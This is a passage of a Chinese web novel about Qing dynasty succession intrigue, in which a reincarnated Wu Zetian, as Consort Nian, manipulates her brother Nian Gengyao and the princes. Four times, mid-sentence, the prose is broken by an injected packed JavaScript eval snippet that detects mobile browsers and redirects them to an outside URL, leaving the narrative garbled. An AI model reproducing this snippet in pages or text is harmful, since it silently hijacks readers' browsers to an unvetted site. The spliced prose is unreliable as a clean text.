“回主子,自奴才被皇上晋为四川总督总理四川境内大小军政事务,奴才与殷泰的关系便彻底破裂,可惜皇上站在奴才这边,此次回京述职甚至暗示奴才,只等奴才在四川任内做成大事便把奴才提拔为川陕总督,总管西北。” “总管西北……” 武曌眯眼,眼前浮现西北的地图:“西北确实重要,手握西北,朝廷才能高枕无忧。如今蒙古人的准噶尔部与和硕特部各自蠢蠢欲动,回部也和他们暗中勾勾搭搭很不安分……你不妨找准机会拿他们开刀,用他们的血为你更换顶戴花翎。” “奴才明白。” 年羹尧本就有心用蒙古准噶尔部的血为自己升官进爵,听了年世华的话顿觉精神抖擞,全身都是干劲。 武曌这时看了眼站在年羹尧身后的凤龙,后者正用年羹尧看不见的双手轻抚年羹尧的肩膀,确保年羹尧对武曌说的每句话都发自内心的服从与遵守。 “……二哥刚回京城就立刻进宫见皇上,之后又来雍亲王府见四爷和我,还没有回家探望父亲,对吧?” “是。” 年羹尧眼神略有愧疚,口吻坚毅道:“父亲向来深明大义,他一定不会因此责怪我。” “父亲当然不会因此责怪你,他不仅不会责怪你,他还让大哥前些日子给我送来一件东西,一件对西北军事或许大有裨益的东西。” “什么东西?” “这个——” 武曌推出一个木匣,匣子里是用伊格格的改良图纸制作的加了膛线的火木仓。 “西洋火木仓?” 不知不觉中已经完全接受凤龙的心灵暗示的年羹尧拿起火木仓,表情困惑中带着几分恍然大悟。 “是经过大清工匠改造过的西洋火木仓,射程更远,命中率更高。” 说完,武曌带年羹尧去练武场,当场演示改造过后的火木仓。 嘭! 一枪命中。 枪口虽然惯例冒出白烟却没有明显的滚烫,射出的子弹也没有中途偏离目标。 看到此情此景,亲历过战场的年羹尧顿时感受到改良版火木仓的巨大潜力。 “这东西——” “这东西或许现在还很不实用,但假以时日必定超越传统的刀枪棍棒成为战场主宰。” 武曌断言。 年羹尧深以为然。 他弓着腰,双手从年世华手中接过火木仓,温柔抚摸,眼神深情得仿佛端详久别的情人。 “主子所言极是,此物前途不可限量,哪怕是现在……有此物傍身,我便随时都可高枕无忧……” “所以我把它送给你,连同制造的图纸。” “主子——” “先别急着谢恩,”武曌慢悠悠道,“我要你回到四川后立刻召集 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655858|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工匠以军备名义大量生产制造此物,明年开年以前训练出一支以火木仓为主要武器的五百人以上卫队!” “主子的意思是——” “不要揣摩我的意思,你只是个办事的工具。” “可是……” 年羹尧试图发表自己的观点,无奈他的精神受凤龙的力量影响,早已在潜移默化中无条件赞同年世华。 短暂的迟疑过后,坚毅地表示:“一切遵照您的命令。” …… 年羹尧走后,武曌好奇地看着凤龙。 [你到底对他用了什么法术?竟然让他在火木仓这种事情上对我言听计从?] 她依稀记得年羹尧上次来雍亲王府见自己的时候还一身的桀骜不驯,表面对自己称臣,内心深处燃烧着把持朝堂只手遮天的欲望。 结果这一次—— 【我没有对他用任何所谓的法术,只是强化了他内心的想法——他在军中多年,早已意识到火木仓的威力。】 [原来如此……他知道火木仓的厉害,所以看到改良版火木仓后会全盘接受大规模铸造火木仓、训练以火木仓为主要武器的军队的命令。] 【人类宣称的所有法术本质不过是障眼法和潜能强化,法术都是虚幻的,科技才是真实的。】 凤龙直言不讳。 祂用天真又复杂的眼神看着武曌。 【打算怎么向胤禛解释?他现在多半已经知道你带年羹尧试用改良版火木仓并把改良版火木仓送给年羹尧的事。】 [这件事情……] 武曌嫣然一笑。 [他是个迷恋权力的男人,只要对他掌权有好处,他不介意我和年羹尧之间的任何小动作,何况——] …… …… 胤禛从一开始就知道年世华找年希尧改良火木仓的事情,甚至旁观了年世华和伊格格两人在练武场试用改良后的火木仓。 对这种厉害的新武器,他的态度非常耿直。 握在自己手里是好东西,落到别人手上必须剪除! 所以—— 当奴才向胤禛禀告说侧福晋送了一把火木仓给年羹尧时,正喝茶的胤禛笑言道:“自家兄妹互送礼物又有何妨?何况那火木仓本就是年大公子让宫廷造办处做出来的。” “奴才明白了,奴才这就——” “亮工(年羹尧的字)还没离开吗?” 胤禛突然叫住奴才。 奴才压腰道:“回主子的话,年大人正准备离开。” “立刻派人过去把他叫来,我还有几件事情要叮嘱。” “嗻。” …… 年羹尧不知胤禛突然找自己有何用意,见到胤禛立刻弯腰行礼:“奴才给主子请安。” “不必多礼。” 胤禛笑容暧昧地看着年羹尧,目光落在年羹尧身后随从捧着的匣子上:“这盒子里——” “回主子的话,匣子里是侧福晋送给奴才的东西。” “火木仓?” “是。” 年羹尧不假思索地回答,并补充道:“是兄长让造办处仿西洋样式做的新款火木仓。” 66.各自的谋算 “西洋人的火木仓是个不错的东西,精致美丽,可惜不实用,只能留在身边以备不时之需。” 胤禛伸手,拍了怕年羹尧的肩膀:“我即将和老九做一笔交易,我出面请旨让皇阿玛将十四派去西北军中历练,老九负责提供西北军事所需大半钱粮。十四到军中后,你务必盯紧他,可以让他立功,但不能让他有机会越过我!” “奴才时刻牢记主子教诲。” 年羹尧低眉顺眼接受胤禛命令。 “侧福晋送你的火木仓也要随身携带——” 胤禛低头,用只有年羹尧能听清楚的声音贴耳叮嘱道:“自古刀剑无眼,倘若十四弟在西北战场不幸受伤导致腿脚不便也是无可奈何的事情,但倘若他的要害部位受了伤,那你便罪无可恕!” “奴才明白。” “明白就好!明白就好!” 胤禛收回按在年羹尧肩膀的手,一脸满足地抚弄着戴在大拇指上的扳指:“……不管怎么说,他都是额涅最爱的儿子、我同父同母的弟弟。我希望他能安分地过完下半辈子。” “主子所言极是。” “下去吧。” “嗻。” 年羹尧躬身退下,后背冷汗涔涔。 …… …… 胤禵近来忧喜交加。 喜的是老八胤禩因为毙鹰事件和紧随其后的雅齐布事件已经彻底失去竞争皇位的可能性,八爷党将依照承诺把手中所有的资源都倾倒在他身上、扶他上位; 忧的是皇阿玛已经知道他和老八、老九的秘密联盟关系,并因此生出强烈不满,一再在德妃额涅面前抱怨十四办差毛躁不谨慎,不如老四沉稳严谨妥帖。 “……现在该怎么办?” 京郊的园子里,胤禵忍不住对秘密前来的胤禩、胤禟抱怨道:“万一皇阿玛因为八哥的事情迁怒于我,宁可立四哥为储君也不愿立我为储君?” “这种情况也不是不可能……” 胤禩皱眉,做出苦恼状。 胤禵顿时大惊失色:“难道——” “不会的!这种事情绝对不可能发生的!” 胤禟鼓动三寸不烂之舌,安抚胤禵道:“皇阿玛若有心培养四哥做太子,就不会这么多年一直都让四哥啃硬骨头的苦差事,害他在朝中几乎没有根基党羽。” “可是——” 胤禵提醒道:“皇阿玛把年家给了四哥,对年氏生下的皇孙也颇为在意。” “皇阿玛把年家给四哥单纯是为了敲打我们、削弱八爷党。至于他老人家对年氏所生皇孙的那几分额外在意——倘若你是皇帝,手下突然冒出年羹尧这种年轻有为能文能武的臣子,你也会爱屋及乌地对他的姊妹与你的儿子所生子嗣额外多出几分喜爱。” “九哥所言极是……” 听了胤禟的安抚,胤禵心情逐渐舒缓。 胤禟见状,进一步蛊惑道:“皇阿玛膝下有皇孙近百人,四哥的弘宜说是得宠,待遇也只比大部分普通皇孙稍靠前一些……远不及二哥家的弘皙……” “对!对!对!九哥说得对!只要弘宜的待遇还没有超过弘皙,他就不是真的得宠!” 胤禵连连点头。 毕竟,弘皙作为前太子的嫡长子,多年所受恩宠都有目共睹。 “但是我们也不能因此就掉以轻心,毕竟你现在最大的弊端是年轻、没有成绩。” 胤禩冷不防开口,将胤禵从得意的云端打落。 “那……那……该怎么办?皇阿玛……” “四哥比你大足足十岁,你不管怎么努力,在朝堂办差这件事情上都很难超过四哥,但是——” 胤禟微微一笑,对胤禵道:“我们可以另辟蹊径。” “另辟蹊径?” “对,另辟蹊径。” 胤禩与胤禟一唱一和:“老四什么都好,唯独身体不行,骑射一塌糊涂,既然如此,你为何不去军中效力?用实打实的军功证明你比老四强!” “军功……” 胤禵倒吸一口凉气:“战场可是——” “诸葛亮这种手无缚鸡之力的儒生都能坐镇前线指挥千军万马,何况我们是骑射得天下的满洲八旗!再说,从古至今,沙场冲锋都是普通士卒的事情,作为皇子的你入了军营后只需坐在军帐里和将军们讨论具体的排兵布阵,偶尔骑着马在禁卫们的保护下对将士们说些鼓舞士气的话。真到了你都必须冲锋前线直面敌军的时候,大清军队也离溃败不远了!” “好像是这个道理……” 胤禵被胤禟说服,开始期待被皇阿玛派去军中立功了。 胤禟见胤禵露出神往笑容,忍不住与胤禩相视一笑,鼓励道:“十四弟,你的愿望就是我们的愿望,九哥我就算散尽家财也一定会助力你夺嫡成功!” “我也是一样,我将想尽一切办法劝支持我的满汉大臣们全力支持你!” “八哥!九哥!你们……你们的恩情,十四弟无以为报,等我登上皇位,我一定封你们做铁帽子亲王!世袭罔替!” 胤禵被胤禩、胤禟的“真情”感动,流下激动的泪水。 …… …… 与胤禵约定完毕,胤禩与胤禟立刻开始行动。 胤禩负责游说满汉大臣改投十四阿哥胤禵名下,见缝插针地找机会送胤禵入军营立战功,积攒夺储的资本。 胤禟则是一如既往地做买卖赚钱,通过负责为内务府打理西北生意的晋商家族联系到如今风头正劲的四川总督年羹尧,承诺一旦西北起战事,他将全力提供银钱协助年羹尧保护大清疆域,当然,年羹尧也要在必要的时候提供些许照拂。 “好说,好说。” 年羹尧受过胤禛密令,对胤禟的请求自然满口答应:“九爷的事情就是年某的事情!” “年大人爽快啊!” 胤禟笑得合不拢嘴。 随后,他马不停蹄地来到雍亲王府,一番婉转暗示后表明立场:“四哥,二哥已经东山无望,八哥也难成大器,不如我们合力扶十四弟成为皇储,将来雨露均沾?” “雨露均沾?” 胤禛装腔作势:“他是我同父同母的弟弟,帮他是我的分内事,听你说这等利欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665849|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熏心的话语,只会让我觉得恶心!” 胤禟:“四哥果然是高洁之士。” 紧接着,胤禟露出送胤禵去军中积攒军功的意图, 胤禛本有此意,顺水推舟地表示:“男儿志在四方,十四弟有此志向,是大清之福。” “那我们就——” “说定了!” 胤禛畅快表态。 胤禟笑得花枝乱颤。 …… 晚上,胤禛将白天与胤禟的谈话以及胤禟和年羹尧的“秘密约定”作为笑话讲给年氏。 武曌安静地听着,时不时附几句“爷聪慧”、“爷是再世诸葛”之类的恭维话,哄得胤禛眉开眼笑,越发觉得年世华是完美解语花,佳人在怀,夫复何求。 凤龙旁观全程,努力忍住不笑。 【人类的雄性真是一种有趣的生物~尤其是手握大权的男人,一个个不是疑心病就是深度迷信,防儿子跟防贼一样~但是又无法拒绝一天胜过一天的衰老现实~】 [毕竟秦皇汉武也逃不过沉迷修仙炼丹妄想长生不老的命运,坦然面对衰老和死亡本就是一种大智慧……] 武曌对此深有体会。 【而你拥有——】 [因为不管是前世还是今生,我的人生都比我身边的任何一个男人更艰难,也更清楚自己想要什么,要怎么做才能得到想要的东西。] 想到这里,武曌抬头,看了眼凤龙——祂正弯腰欣赏插在景德镇新送来的半人高瓷瓶里的娇嫩鲜花以及藏在花卉中的美丽灯烛。 [你跟在我身边,究竟想要得到什么?除了成长和力量。] 【成长和力量是非常宽泛的概念,何况我眼中的世界和你看到的世界完全不一样。】 凤龙抬头,漂亮的眼睛闪烁出妖冶的光芒。 【或许有一天你会看到我眼中的世界,但当那天到来时,你应该也已经不能被称为是人了。】 [不是人是什么?] 【到时你自然会知道。】 凤龙嫣然一笑,专心致志地掰弄手指,流出的思维波动充斥着对人类而言绮丽到眼花缭乱的诡异混乱。 [……] 武曌曾险些被祂的绮丽诡异的思维带入疯狂边缘,感应到类似的迷幻后,果断收敛思考,专心对付胤禛:“爷,天色不早了,我们歇息吧。” “明日带妞妞和弘宜入宫……额涅想见他们,皇阿玛近来也对他们想念得紧……” “奴才明白。” 武曌低头,收下胤禛的吩咐。 凤龙也听到了两人的对话,转身出现在如今是妞妞的弘历面前,告知明日进宫见康熙一事。 【你打算怎么办?是搞砸这次见面还是努力在康熙面前留下好印象,助你的皇阿玛成就皇位?】 [他不做皇帝,我怎么以和硕公主的身份登上政治舞台?] “妞妞”抱怨地瞪了凤龙一眼。 [做女人真是吃亏,不过既然这辈子不幸成了女人,我也只能以女人的角度思考问题、处理问题,为自己争取女人能获得的最高最好的位置!] 67.爷孙见面2.0 雍王府的马车仄仄碾过石板,停在戒备甚严的宫门前。 等候已久的嬷嬷走上前,隔着车帘躬身行礼:“奴才奉永和宫德妃主子命令前来迎接雍王府侧福晋和小格格、小阿哥。” “嬷嬷辛苦了。” 车帘后,传出温柔雅致的声音,伺候在马车旁的王府嬷嬷也适时递上碎银打赏。 永和宫嬷嬷见到碎银打赏,笑得眉眼眯成一条缝,连声道:“不敢当不敢当,侧福晋太过客气。” “是给大家准备的茶水点心钱,劳烦嬷嬷事后费心张罗。” “原来如此,老奴姑且收下。” 永和宫嬷嬷笑着收下赏钱,搀扶侧福晋年氏下马车。 在她的带领下,年氏一行人穿过宫门,朝永和宫方向走去,同行的小格格、小阿哥则由各自的乳母抱在怀中。 …… …… 许是隔代亲的缘故,德妃虽然对大儿子胤禛的感情始终带着疏远,但对胤禛的几个孩子却一向宠爱有加,连带孩子的母亲也享受了爱屋及乌的宠爱。 尤其是给胤禛生下据说自带龙气的小阿哥弘宜的侧福晋年氏。 因此—— 年氏才迈入永和宫的大门,她已主动上前,宠溺地抓住要欠身行礼的年氏的双手:“你身子弱,不必繁文缛节。” “可是——” “我是永和宫主位,我的话就是永和宫的规矩!” 德妃重音强调。 武曌本也无意行礼,闻言自然是顺水推舟,假意低头羞涩:“额涅如此厚爱,年氏愧不敢当。” “你为我们爱新觉罗家立了大功,得多少奖励宠爱都是应该的。” 德妃看着年世华那青春白皙的面容,不禁有感而发:“当年,我刚入宫的时候,也似你这般的清纯美貌……选秀的时候,皇上一眼就瞧中我……可惜如今……如今我也人老珠黄,美丽全都成了梦幻泡影……” “额涅如今看着也不过三十五六——” “不要恭维我。” 德妃假装生气地拍了拍年氏的手背,心里却对这句恭维非常受用。 毕竟,人都害怕衰老,何况她是个以色事人的后妃。 即便康熙帝多年来始终公平公正地对待后宫妃嫔们的封赏晋升,看着自己越发衰败的容颜,听着新入宫的女人们的莺莺燕燕声响,德妃心中终究还是—— “太太~” 被乳母抱在怀中的小格格妞妞突然发出稚嫩甜美的声音。 德妃闻言,顿时面露喜色,双手接过小格格:“妞妞长得真快,半个月不见,太太都快抱不动你了。” “妞妞不需要太太抱,妞妞已经会自己走路了~” 小格格妞妞,或者说保留着前世记忆的爱新觉罗弘历不爽地扭动身体,要求立刻双脚着地。 德妃本就喜欢妞妞的聪明有主见,见孩子如此要强执拗,越发眉开眼笑,弯腰放下,牵着孩子柔嫩小手:“来,走两步给太太瞧一瞧~” “嗯嗯~” 妞妞顺着德妃的搀扶,在永和宫的院子里稳当当地走步,姿态端庄严谨,隐约露出四方步的味道。 “妞妞,你是格格,格格怎么也学阿哥走四方步?” 德妃有些不明白。 妞妞上次来永和宫的时候明明还是个娇俏活泼的小格格,怎么半个月不见竟然—— “妞妞不要做格格!妞妞要做阿哥!” 妞妞仰头,半是认真半是撒娇地看着德妃。 德妃不知内情,只当是雍亲王府依着姑奶奶传统娇宠妞妞,把妞妞养成了无法无天的性格。 因此,面对妞妞的“出言不逊”,德妃非但不生气,还露出骄傲笑容:“小小年纪就已经是个姑奶奶,长大后怕不是满蒙八旗所有的亲王贝勒加在一起都压不住我们的大姑奶奶。” “那我就一辈子不嫁,留在京城当爱新觉罗家的姑奶奶!” 妞妞脱口而出。 德妃大惊:“你……” 武曌见状帮忙掩饰道:“德妃额涅莫要怪小格格,一切都是奴才的错,是奴才没把小格格教好,冲撞了德妃额涅——” “无妨,她的生母是钮祜禄氏,你本也没有资格教导她……何况……” 德妃捏了捏妞妞的脸蛋:“她也没完全说错,祖宗家法里可没有规定满人的姑奶奶长大以后一定要嫁人。” “德妃额涅所言极是。” 武曌虚情假意地附和着,眼角余光瞄向一脸得意的妞妞,后者则是—— [年氏不愧是皇阿玛的解语花,这一世也依然如此地温柔体贴,可惜……可惜……朕这一世是女子……] [原来前世的你还真的曾经……] 武曌有些无语,虽然这种事情对她而言也不算头一遭。 …… 两个孩子轮流抱在怀里逗弄一番后,德妃有些困倦,让年氏伺候她入寝殿歇息。 “嗻。” 武曌知道德妃要对自己说体己话,毕恭毕敬伺候德妃入寝殿,一脸贤惠地帮德妃拆下头上的金银饰品—— “你想过让弘宜做雍亲王府的世子这件事情吗?” “奴才不敢妄想。” “可是皇上不止一次在我面前说弘宜是个有福气的孩子,将来必成大器。” 说这话的时候,德妃的舌尖有几分颤抖。 因为她越来越清楚地意识到,康熙帝喜欢老四胜过十四,终康熙一朝,十四的地位都绝无可能越过老四! “皇上对四阿哥和奴才的兄长寄以厚望,难免因此对弘宜多几分期待,德妃额涅过虑了。” “我没有过虑,我是认真思考这件事。” 德妃抬手,止住年世华的动作,转过身,苍老但精明的眼睛看着年轻的女人:“四福晋没有自己的亲骨肉,弘时又一向不成体统,弘昼虽说比弘宜年长,母家终究身份卑微,由此可见,弘宜成为雍亲王府世子的可能性非常大。” “额涅,选谁做世子是皇上和四爷考虑的事情,奴才是后院的无知女子,不敢妄想。” “不敢妄想吗?” 德妃叹了口气,手指划过年氏的美丽脸庞:“你这样一个聪明又温顺的女人,为什么连一点点的野心也没有?” [莫非这就是汉女和满女的不同?汉女美丽、温顺、无能, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672700|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以讨男人喜欢,但是很难生出有血气的孩子。满女固然比不得汉女的温柔驯良,但是我们个个都是强势虎妞,我们生的孩子也是血性十足,天生的英雄好汉!] [张牙舞爪外露的厉害不是真正的厉害,真正的厉害是不怒而威,是用最温柔最雅致的语调说出让整个江山都颤抖的狠话。] 武曌对德妃的腹诽不屑一顾,慢悠悠地回答道:“奴才自幼接受女德教育,不敢有丝毫违背。” “驯良……温柔……三从四德的好女人……” 德妃沉吟片刻,收回落在年氏脸颊处的手掌,道:“你下去吧。” “嗻。” …… 武曌走出德妃的寝殿,正思量着下一步的走势,突然听见偏殿内传出康熙和妞妞的对话声。 “皇法玛说的可是真话?真的喜欢妞妞?” “当然喜欢~朕这么多的皇孙子皇孙女里面,就属妞妞最得朕的心意~” 康熙显然对再世为人的妞妞表现出的活泼机灵异常满意,当场给出承诺:“依着规矩,亲王府的格格长大成年后最多能封郡主,但是妞妞格外合朕的心意,朕决定遗诏新君将来封你做固伦公主~” “固伦公主?” 妞妞显然对这个承诺不满意,稚嫩的声音带着几分抱怨。 武曌闻言,快步上前:“奴才给皇上请安。” “平身。” 此刻正专心弯腰和妞妞逗乐的康熙大手一挥,让年世华起身。 “谢皇上恩典。” 武曌起身,走到抱着弘宜的乳母身前,接过才两岁的弘宜:“皇上——” “弘宜也是个有福气的孩子。” 康熙牢记凤龙的话,从腰上取下金玉荷包,慈爱地塞入弘宜的小手中:“小小年纪如此可爱,将来必成大业!” “皇法玛~妞妞也要~妞妞也要~” 妞妞伸出小手,用力拉扯康熙的衣襟:“妞妞来宫里那么多次都没有得到皇法玛的荷包~” “皇法玛腰上今日只挂了一个荷包~要不……” 康熙微微一笑,摘下一个玉石串子戴在妞妞那胖嘟嘟的手腕上:“这下满足了?” “满足~” 妞妞咧嘴,露出天真中暗藏贪婪的笑容。 [就因为朕这辈子是女孩,什么都要落在男孩后面,太可恶了!等朕长大,一定要成为监国公主!不对!朕要越过所有男人,直接登基做女皇!哼!叶卡捷琳娜二世算个什么东西!] [不好意思,皇位已经被我预定。当然,在我们摸到皇位以前,我会始终和你联手,把所有可能坐在这个位置的男人都推下去。] 武曌微笑着,一脸温柔地向康熙展示弘宜的可爱之处,以此巩固宠爱。 妞妞感觉到年氏隐藏在温婉笑容下面的对权力的浓郁渴望,也暂时收敛这一世生为女人的强烈不满,绕着康熙撒娇以配合年氏。 毕竟—— 这一世的自己要想坐上皇位,首先要确保胤禛坐上皇位。 【权力啊权力,你真是个诱人的灾祸~】 凤龙将一切都看在眼中,露出美丽阴暗的微笑。 68.对权力的绝对欲望 晚上,年世华带着小格格、小阿哥返回雍亲王府。 胤禛看到小格格手上戴着玉石串子、小阿哥双手攥着金玉荷包,晓得此番入宫收获颇丰,顿时露出满意笑容:“不愧是我的解语花,每次入宫都能带回不俗的惊喜。” “爷高看奴才们的本事了,若不是皇上本就对爷另眼相看,小格格、小阿哥也不可能被爱屋及乌。” 说这话的时候,武曌故意眼神瞟向隔壁八贝勒府。 胤禛会意,笑道:“自老八被皇阿玛当众训斥,弘旺、弘晸他们被传召进宫见皇阿玛的次数都少了。” “爷所言极是。” “但仅凭这些还远远不够……远远不够……” 胤禛眯眼,眼中流露出对权力的绝对欲望。 [太子之位一日没有定论,我的夺嫡之路就一日不会停止!当然,如果最终登上储君位置的人不是我,我也一定会使出浑身解数把那个人拿下来!因为我已无路可退!] [你并非天生的无路可退,而是你从一开始就主动把自己推到了无路可退只能放手一搏的绝境!] 将一切都看在眼里的武曌平静地评价着。 推胤禛上位是她夺取皇位的关键一环,在此以前,她不敢有丝毫怠慢疏忽。 …… …… 依照和老八、老九、十四的“约定”,收到年羹尧从四川发来的准噶尔部策妄阿拉布坦已经按捺不住,勾结盘踞青海的罗卜藏丹津随时可能发动战争夺取藏地的急报后,胤禛立刻在御前会议上向康熙请求拜十四弟胤禵为大将军,前往青海防御罗卜藏丹津。 “年羹尧毕竟只是四川总督,他能集结四川力量对抗妄图借道四川入藏的策妄阿拉布坦,但是无法前往青海防御罗卜藏丹津……” “你说这么多,无非是想让你的十四弟早日立下战功。” 康熙笑盈盈打断胤禛的话,夸赞道:“老四不愧是兄友弟恭的典范。” “皇阿玛说笑了,儿子举荐十四弟,只因为儿子觉得十四弟适合这个职位。” 胤禛假意谦逊。 康熙对此非常满意,看向一旁的众大臣:“你们是什么想法?” 大臣们半数以上受过八爷党的恩惠,剩下的人大多是皇帝的跟屁虫,闻言自然是清一色地欢呼道:“皇上英明!十四爷正是最适合的人选!” “既然如此,就——拟旨吧!” “嗻!” …… 议事完毕,康熙来到永和宫,对正在听昆曲的德妃道:“朕方才下旨封胤禵为大将军,前往青海防御罗卜藏丹津了。” “皇上——” 德妃又惊又喜:“皇上突然如此器重胤禵,奴才实在……” “是老四联合众大臣保举的。” 康熙清清淡淡一句话,将德妃从狂喜的巅峰打落。 妇人露出不解神色:“为什么?” “为什么?胤禛作为胤禵的同母兄长,自然要处处为胤禵的前途着想。” 康熙无法理解德妃的惊愕反应。 德妃见状,不敢多说话,满腹疑窦藏在心中,挤出笑容讨康熙喜欢,直到送走康熙后才派人将胤禵秘密寻来。 “十四,你老实告诉额涅,你真的想去青海领兵打仗吗?” “当然是真心的。” 胤禵一脸得意神情。 要知道,让胤禛保举胤禵去青海立战功可是胤禩、胤禟动了不知多少关系和手段才好不容易达成的妙招! “啊?” 德妃惊愕:“你……你知道青海是什么苦地方吗!还有打仗……打仗可是会死人的!” “我去青海是为了防备罗卜藏丹津和策妄阿拉布坦勾结,并不是真的要打仗!就算真打起来,以我的皇子将军身份,不到全军溃败的生死关头,根本不可能撞到敌人的刀锋。但是战功却会实打实地算在我头上。” 胤禵对去青海刷战功这件事信心满满。 德妃惊呆:“你……” “儿子知道额涅心疼儿子、担心儿子在青海遭遇不测,可是儿子已经长大,儿子需要去边关历练一番用军功资历超越四哥在皇阿玛心中的地位。” “你的意思是——” “八哥自毙鹰事件后彻底心灰意冷,和九哥商议推举我做储君。”胤禵直言不讳,“四哥也觉得如果最终登上皇位的人是我,他就能忠孝两全了。” “他……忠孝两全……” 德妃颤抖。 胤禵道:“四哥一直都希望额涅开心。” “胤禛……” 德妃顿感羞愧难当,但是很快,羞愧的情绪就消失得无影无踪了。 她双手扶着胤禵的肩膀,温柔而笃定地说道:“虽然这样说有些对不住老四,但倘若额涅有机会成为太后,额涅一定只做胤禵的太后。” “额涅……” 胤禵感动得泣不成声,当场跪地叩谢:“儿子愿肝脑涂地报效额涅恩情!” “去了青海,注意安全……军事上的胜负得失我不关系,我只希望你完整地去完整地回来。” “额涅!” 胤禵哭得更厉害了。 …… …… 【十四阿哥胤禵虽然曾屡次当众顶撞康熙以维护八阿哥胤禩(康熙四十七年一废太子以及康熙五十三年毙鹰事件)惹来康熙的不悦,但他的豪迈重情义也给康熙留下了深刻印象。 因此,康熙五十四年,朝廷收到准噶尔部落首领策妄阿拉布坦派出骑兵偷袭被清军控制的哈密地区的消息后,康熙立刻下达决议: 选定礼部尚书富宁安为主将,前往哈密地区驱赶策妄阿拉布坦的骑兵; 时任四川总督的年羹尧就地筹集调动粮饷军需、加强军备护卫,扼守入藏要道,以防策妄阿拉布坦派兵偷入藏地; 十四贝子胤禵被任命为抚远大将军,前往位于西宁的清军大营,作为随时可能发生的高规格战争的总指挥……】 [历史又一次发生了改变……] 看着天幕上被称为“主播”的穿着奇装异服的短发男子那近乎滔滔不绝口沫横飞的历史讲解,四福晋心中五味杂陈。 她的世界的历史正一而再再而三地发生改变,她身边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687282|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人对此却一无所知。 [将来又会发生什么改变?如此连绵不断的改变后,我还有可能成为未来的大清皇后吗?] 平生第一次,四福晋感受到了无望的迷茫,感觉自己像被困在无边无际的黑暗中,唯一可作为期待的光却在不断地变换角度。 [或许……未来并没有我的位置,甚至可能四爷也没有得到皇位,但是……我……我们夫妻相濡以沫那么多年,一起走过如此多的风风雨雨,最终落得一无所有的结局……我不甘心!我真的不甘心!] 四福晋痛苦地想着,护甲扎进掌心都没有知觉。 [我不能继续躲在后院等待命运的安排,我要想办法帮四爷……也是帮我自己……] “姐姐——” 清脆的声音突然响起,四福晋低头,瞧见侧福晋年氏在嬷嬷的引导下走进抄经的偏房。 “姐姐又在抄佛经?” “佛经能让人心平气和,获得大智慧。” 乌拉那拉氏心不在焉地说着,放下手中毛笔,走到年氏身旁,与她并排坐下:“妹妹今日怎么有空闲来姐姐这边?” “姐姐果真贵人忘事,都忘记今天是后院查账的日子了。” 年世华莞尔一笑,将厚厚一叠的最近一个月的后院收支交到乌拉那拉氏手中:“劳烦姐姐查看。” “你做事,我向来放心。” 乌拉那拉氏随手将账本放在一边,握着年氏的手掌,轻声道:“近来月信准么?” “姐姐——” 年氏羞涩地低下头。 乌拉那拉氏笑道:“自古多子多福,何况我们这等人家,哪可能后院的女人每个都只生一个孩子!我是生下弘晖后生了一场大病无法再生养,你如今正当年轻又身体健康,自然是能生几个就生几个,不是吗?” “可是——” “皇上有将近一百个皇孙,雍亲王府却只有三个小阿哥,太少了。” 乌拉那拉氏毫不掩饰自己的野心:“不管什么时候,孩子都是越多越好。” “姐姐说得极是。” 年世华低头,似不胜风吹的荷花。 乌拉那拉氏见状,鼓励打气道:“李佳氏那般粗俗蠢笨尚且给四爷生了四个孩子,你可千万不能输给她!” “妹妹一定竭尽全力……” “还有你们年家,”乌拉那拉氏进一步提醒,“你大哥和你二哥都是深受皇上喜欢的年轻英才。此次皇上用兵西北,你二哥便得额外器重,将来必定能取代殷泰成为川陕总督。娘家有这样的人才,若你不能给四爷多生几个孩子,皇上也会觉得可惜。” “姐姐……” “总之,你要抓紧时间。” [你生下的孩子越多,我成为大清皇后的可能性越高。] [自己不能生就把别人当生孩子争上位的工具,不愧是四福晋。] 武曌阴冷地想着,但她不憎恨乌拉那拉氏,因为如果她是乌拉那拉氏,她也会做同样的事情,甚至比乌拉那拉氏做得更绝更直接。 凤龙看着各怀心思的两人,露出兴致盎然的笑容。 69.留下来 